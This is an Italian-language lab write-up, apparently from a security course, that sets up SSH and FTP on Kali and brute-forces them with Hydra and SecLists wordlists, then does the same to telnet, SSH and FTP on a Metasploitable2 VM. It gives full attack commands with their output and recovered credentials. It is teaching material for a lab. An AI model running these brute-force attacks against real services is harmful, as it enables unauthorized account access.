

AUTHENTICATION CRACKING CON HYDRA

L'esercizio di oggi si dividerà in due fasi:

- Una prima fase dove vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove configureremo e crackeremo un qualsiasi servizio di rete tra quelli disponibili (es. ftp, telnet, rdp, autenticazione http).

Per l'esecuzione corretta di Hydra andremo primaditutto a scaricare sulla nostra macchina Kali delle liste di usernames/passwords tramite il pacchetto "seclists" con il comando "sudo apt-get install seclists".

```
(kali㉿kali)-[~]
$ sudo apt-get install seclists
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following NEW packages will be installed:
  seclists
0 upgraded, 1 newly installed, 0 to remove and 1377 not upgraded.
Need to get 405 MB of archives.
After this operation, 1,627 MB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2022.4-0kali1 [405 MB]
Fetched 405 MB in 14s (29.7 MB/s)
Selecting previously unselected package seclists.
(Reading database ... 338762 files and directories currently installed.)
Preparing to unpack .../seclists_2022.4-0kali1_all.deb ...
Unpacking seclists (2022.4-0kali1) ...
Setting up seclists (2022.4-0kali1) ...
Processing triggers for kali-menu (2022.3.1) ...

(kali㉿kali)-[~]
$
```

All'interno di seclists troveremo le liste di usernames e passwords che ci serviranno con Hydra.

```
(kali㉿kali)-[/root]
$ ls /usr/share/seclists/Usernames/
cirt-default-usernames.txt      Names
CommonAdminBase64.txt          README.md
Honeypot-Captures              xato-net-10-million-usernames-dup.txt
mssql-usernames-nansh0u-guardicore.txt  xato-net-10-million-usernames.txt
top-usernames-shortlist.txt

(kali㉿kali)-[/root]
$

(kali㉿kali)-[/root]
$ ls /usr/share/seclists/Passwords/
2020-200_most_used_passwords.txt  dutch_passwordlist.txt      SCRABBLE-hackerhouse.tgz
500-worst-passwords.txt           dutch_wordlist              scraped-JWT-secrets.txt
500-worst-passwords.txt.bz2       german_misc.txt             seasons.txt
BiblePass                         Honeypot-Captures          Software
bt4-password.txt                 Keyboard-Combinations.txt   stupid-ones-in-production.txt
cirt-default-passwords.txt        Leaked-Databases           twitter-banned.txt
citrix.txt                       Malware                     unknown-azul.txt
clarkson-university-82.txt        months.txt                  UserPassCombo-Jay.txt
Common-Credentials               Most-Popular-Letter-Passes.txt  WiFi-WPA
Cracked-Hashes                   mssql-passwords-nansh0u-guardicore.txt  xato-net-10-million-passwords-1000000.txt
darkc0de.txt                     openwall.net-all.txt       xato-net-10-million-passwords-100000.txt
darkweb2017-top10000.txt          Permutations                xato-net-10-million-passwords-10000.txt
darkweb2017-top1000.txt          PHP-Magic-Hashes.txt        xato-net-10-million-passwords-1000.txt
darkweb2017-top100.txt            probable-v2-top12000.txt     xato-net-10-million-passwords-100.txt
darkweb2017-top10.txt            probable-v2-top1575.txt      xato-net-10-million-passwords-10.txt
days.txt                        probable-v2-top207.txt       xato-net-10-million-passwords-dup.txt
Default-Credentials              README.md                   xato-net-10-million-passwords.txt
der-postillon.txt                richelieu-french-top20000.txt
dutch_common_wordlist.txt        richelieu-french-top5000.txt
```

Andremo poi a configurare il servizio ssh.

Creeremo un nuovo utente su Kali con il comando “adduser”; andremo a chiamarlo test_user con password “testpass”.

```
(kali㉿kali)-[~]
$ sudo adduser test_user
Adding user `test_user' ...
Adding new group `test_user' (1001) ...
Adding new user `test_user' (1001) with group `test_user' ...
Creating home directory `/home/test_user' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y

(kali㉿kali)-[~]
$
```

Andremo ora ad attivare il servizio ssh con il comando “sudo service ssh start”, potendo andare a controllare il file di configurazione del demone sshd:

```

(kali@kali)-[~]
$ sudo service ssh start

(kali@kali)-[~]
$ cd /etc/ssh

(kali@kali)-[/etc/ssh]
$ ls
moduli          sshd_config      ssh_host_dsa_key.pub  ssh_host_ed25519_key  ssh_host_rsa_key.pub
ssh_config      sshd_config.d    ssh_host_ecdsa_key    ssh_host_ed25519_key.pub
ssh_config.d    ssh_host_dsa_key ssh_host_ecdsa_key.pub ssh_host_rsa_key
(kali@kali)-[/etc/ssh]
$

```

GNU nano 6.4

sshd_config

```

# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

```


Testeremo ora la connessione in SSH dell'utente test_user eseguendo il comando "ssh test_user@192.168.32.100":

```
(kali@kali)-[/etc/ssh]
$ ssh test_user@192.168.32.100
test_user@192.168.32.100's password:
Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$
```

Avendo verificato l'accesso potremo attaccare l'autenticazione SSH con Hydra attraverso il comando "hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ssh://192.168.32.100".

Con lo switch -V è stato possibile controllare i tentativi Brute Force di Hydra.

```
(kali@kali)-[/root]
$ hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.32.100 -t4 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 06:01:57
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.32.100:22/
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "123456" - 1 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "password" - 2 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "12345678" - 3 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "qwerty" - 4 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "123456789" - 5 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "12345" - 6 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "1234" - 7 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "111111" - 8 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "1234567" - 9 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "dragon" - 10 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "123123" - 11 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "baseball" - 12 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "abc123" - 13 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "football" - 14 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "monkey" - 15 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "letmein" - 16 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "696969" - 17 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "shadow" - 18 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "master" - 19 of 829545500000 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "666666" - 20 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "testpass" - 21 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "qwertyuiop" - 22 of 829545500000 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "test_user" - pass "123321" - 23 of 829545500000 [child 0] (0/0)
[22][ssh] host: 192.168.32.100 login: test_user password: testpass
[ATTEMPT] target 192.168.32.100 - login "info" - pass "123456" - 1000001 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "password" - 1000002 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "12345678" - 1000003 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "qwerty" - 1000004 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "123456789" - 1000005 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "12345" - 1000006 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "1234" - 1000007 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "111111" - 1000008 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "1234567" - 1000009 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "dragon" - 1000010 of 829545500000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "123123" - 1000011 of 829545500000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "baseball" - 1000012 of 829545500000 [child 2] (0/0)
```

Com'è possibile vedere Hydra riuscirà a trovare nelle librerie inserite l'accoppiata username/password di accesso valida.

Proveremo a fare lo stesso con il servizio di ftp. Andremo così ad installare il servizio (sempre mettendoci in NAT per l'operazione per poi tornare in rete locale) tramite il comando "sudo apt-get install vsftpd".

```

(kali@kali)-[~]
$ sudo apt-get install vsftpd
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1377 not upgraded.
Need to get 142 kB of archives.
After this operation, 351 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]
Fetched 142 kB in 1s (197 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 344265 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b2) ...
Setting up vsftpd (3.0.3-13+b2) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.0-1+b1) ...
Processing triggers for kali-menu (2022.3.1) ...

(kali@kali)-[~]
$

```

Per poi attivarlo con il comando “service vsftpd start” e far partire hydra con il medesimo comando sostituendo ovviamente “ssh” con “ftp”.

```

File Actions Edit View Help
(kali@kali)-[~]
$ service vsftpd start

(kali@kali)-[~]
$ hydra -l /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ftp://192.168.32.100
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 06:28:26
[DATA] max 16 tasks per 1 server, overall 16 tasks, 829545500000 login tries (l:1:p:1000000), ~518465937500 tries per task
[DATA] attacking ftp://192.168.32.100:21/
[21][ftp] host: 192.168.32.100 login: test_user password: testpass

```

- Bonus: far partire Hydra per i servizi di telnet, ssh e ftp da Kali a Metasploitable2.

Come visto in precedenza, andremo ad eseguire gli stessi comandi specificando l’IP di Metasploitable2:

```

(kali@kali)-[~]
$ hydra -l msfadmin -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ssh://192.168.32.101 -t4
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:03:18
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1000001 login tries (l:1:p:1000001), ~250001 tries per task
[DATA] attacking ssh://192.168.32.101:22/
[22][ssh] host: 192.168.32.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:03:56

(kali@kali)-[~]
$ hydra -l msfadmin -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ftp://192.168.32.101
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Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:13:47
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000001 login tries (l:1:p:1000001), ~62501 tries per task
[DATA] attacking ftp://192.168.32.101:21/
[21][ftp] host: 192.168.32.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:13:52

(kali@kali)-[~]
$ hydra -l msfadmin -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt telnet://192.168.32.101
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:14:37
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000001 login tries (l:1:p:1000001), ~62501 tries per task
[DATA] attacking telnet://192.168.32.101:23/
[23][telnet] host: 192.168.32.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:14:51

(kali@kali)-[~]
$

```